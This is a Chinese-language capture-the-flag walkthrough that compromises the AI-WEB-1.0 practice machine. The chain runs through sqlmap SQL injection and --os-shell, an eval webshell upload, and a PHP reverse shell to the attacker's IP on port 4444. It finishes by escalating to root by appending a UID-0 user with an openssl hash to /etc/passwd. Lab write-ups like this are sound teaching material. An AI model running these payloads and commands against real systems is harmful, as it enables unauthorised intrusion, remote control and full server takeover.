目录
ai-web-1.0是靶机
kali作为攻击机
定位靶机
查看kali的ip,ai-web使用net模式,和kali在同一网段下(排除1,2,254ip)
kali的ip为192.168.111.139
使用nmap扫描kali在的网段

所以ai-web-1.0的ip地址为192.168.111.140
使用本机的浏览器访问ai-web-1.0

信息收集
使用kali中的dirsearch工具扫描http://192.168.111.140

发现有/robots.txt文件
使用本机浏览器访问http://192.168.111.140/robots.txt

访问这两个页面
http://192.168.111.140//m3diNf0/访问失败

http://192.168.111.140/se3reTdir777/uploads/访问失败

使用dirsearch扫描查看有没有隐藏文件


扫描发现http://192.168.111.140/m3diNf0/ 有info.php文件
访问info.php文件

是info界面,我们可以查看到网页的详细路径
我们换工具,使用dirb进行扫描
(又使用dirsearch扫了http://192.168.111.140/se3reTdir777/ 三个相关的url都已经扫描完,都没有我们注入点,所以换工具继续扫描)

给出的两个扫描后什么也没有发现,第二个有二级目录,我们尝试去扫描一下,发现有index.php

其实在这里,我们可以直接使用dirb扫描http://192.168.111.140

也有index.php 但是访问啥也没有(只是测试哈,练习一下工具的使用)
使用本机访问http://192.168.111.140/se3reTdir777/index.php
结果出现了这个界面

重启一下ai-web就好了
正常访问的到的是这个界面:

漏洞探测:
id中输入1

输入1'后报错(引号必须是英文,中文不会报错)

这里存在注入点
漏洞利用
我们使用sqlmap进行sql注入
使用bp抓包查看注入点:开启bp,在user id中输入1',抓包

最后一行是注入点,使用sqlmap爆表名(sqlmap我是用的本机天狐工具箱的)
注:bp抓包的作用:确认请求方式(POST)和注入参数(uid),为SQLMap 自动化注入提供准确的请求信息。
python sqlmap.py -u "http://192.168.111.140/se3reTdir777" --data "uid=1%E2%80%98&Operation=Submit" --dbs --batch

爆表名
python sqlmap.py -u "http://192.168.111.140/se3reTdir777" --data "uid=1%E2%80%98&Operation=Submit" -D aiweb1 --tables --batch

查字段
python sqlmap.py -u "http://192.168.111.140/se3reTdir777" --data "uid=1%E2%80%98&Operation=Submit" -D aiweb1 -T systemUser --columns --batch

按照常规的sql注入的查询方式,我们将所有的字段都整出来了,但是没有我们需要的信息,那就使用sqlmap的-os-shell命令
成功执行-os-shell的必要条件有三个:
1.网站必须是root权限
2.网站的绝对路径已知(前面暴露的info.php文件已经拿到绝对路径)
3.GPC为off(php主动转义的功能关闭)
使用sqlmap的 -os-shell命令
python sqlmap.py -u "http://192.168.111.140/se3reTdir777" --data "uid=1%E2%80%98&Operation=Submit" --level=3 --os-shell
4
2
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
注:(这个路径是网站的根路径/home/www/html/web1x443290o2sdf92213加/se3reTdir777/uploads/ 组合成的)

我们使用一句话木马并上传
在kali桌面上创建1.php文件(1.php文件中输入以下的一句话木马)
<?php @eval($_REQUEST[666]);?>
在kali打开桌面上的终端:使用root模式输入
sqlmap -u "http://192.168.111.140/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php

exit退出os-shell界面
重新进入os-shell
(4,2,/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/)
使用ls查看一句话木马有没有创建成功

创建成功
一句话木马的作用:蚁剑、菜刀等工具可通过一句话木马,将“命令执行权限“ 转化为“可视化文件管理+终端控制”
使用蚁剑连接:
刚开始使用蚁剑的时候,初始化(不要自己新建文件夹,使用自己在网页上下载的蚁剑的文件夹)

点击添加,双击刚才添加的

页面右键在此打开终端

权限巩固:
NC反弹shell
在kali上创建一个2.php文件
<?php
$sock=fsockopen("kali的ip地址",4444);
exec("/bin/bash -i <&3 >&3 2>&3");
?>

创建成功后,使用上传1.php木马的方式上传2.php

使用os-shell,ls查看是否上传成功

上传成功
使用反弹shell的原因:
蚁剑连接依赖Web服务,若Web服务重启,连接会中断;而反弹Shell是直接的系统终端连接,稳定性更高,且支持后续提权操作。
Netcat(简称NC)是“网络瑞士军刀”,可实现端口监听、数据传输、shell转发等功能,此处用于建立Kali与靶机的双向通信通道。
kali上监听4444端口
nc -lvvp 4444

在sqlmap上运行2.php
php 2.php

浅等一下,显示监听成功

会反弹出来服务器的shell
在SQLMap的os-shell中运行:php 2.php,Kali 终端成功接收到靶机的bash shell(用户为www-data,网站运行用户,权限较低)。
权限提升
这下我们开始提权
whoami

创建一个用户,使用openssl命令
openssl passwd -1 -salt h 123456
注意:使用openssl passwd的作用:生成符合 Linux 密码格式的哈希值,避免明文密码被拦截或日志记录。$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0是123456的哈希码。
将用户写入/etc/passwd文件中
echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd
查看用户是否写入成功
cat /etc/passwd

使用脚本提升为交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'

切换用户
su h

开始使用创建的用户查看服务器的目录

root属于最高权限,一般直接查看root文件,就可以获取到我们需要的flag
相关知识点简述:
使用组合路径触发os-shell的原因:
os-shell是 sqlmap 通过 SQL 注入漏洞在靶机上创建的 “临时命令执行通道”,本质就是在靶机 Web 目录下生成一个可执行命令的 PHP 脚本(如文档中的tmpbuixt.php),再通过访问该脚本实现命令交互。
生成并调用的关键条件是:
1、路径是否满足 Web 服务可访问
2、有写入权限
/home/www/html/web1x443290o2sdf92213/是网页根目录,确定是可以访问的
/se3reTdir777/uploads/uploads目录是典型的 文件上传目录—— 这类目录为支持用户上传功能(如图片、文档),默认配置了写入权限(允许 Web 运行用户www-data写入文件)
注:se3reTdir777/uploads/被设计为上传目录,因此开发者会主动为其配置写入权限(通常是755或777),以确保用户上传功能可用。这是该目录具备写入权限的根本原因。
单一路径无法满足关键条件,所以使用组合路径
组合路径的标准:
1、路径必须在 Web 服务的 “可访问范围” 内(即就是以网站绝对根路径为基础的路径)
2、路径必须具备写入权限(针对 Web 运行用户www-data)
常见的子目录是:上传目录,日志目录,缓存目录
3、组合的路径在前期的信息收集的工作中,要求验证是有效的,真实存在的(用dirsearch扫描确认存在)
AI-WEB-1.0的整体解题思路:
目标定位→信息搜集→漏洞探测→漏洞利用→权限巩固→权限提升
定位靶机:通过网段扫描锁定 Web 服务靶机;
信息搜集:从 robots.txt 挖掘敏感路径,从 info.php 获取关键配置;
漏洞探测:通过单引号测试确认 SQL 注入漏洞;
漏洞利用:用 SQLMap 获取命令执行权限,上传木马建立控制;
权限巩固:反弹 Shell 建立稳定终端连接;
权限提升:利用文件权限漏洞写入 root 用户,实现完全控制;
每一步都基于前一步获取的信息进行深入的操作。

被折叠的 条评论
为什么被折叠?



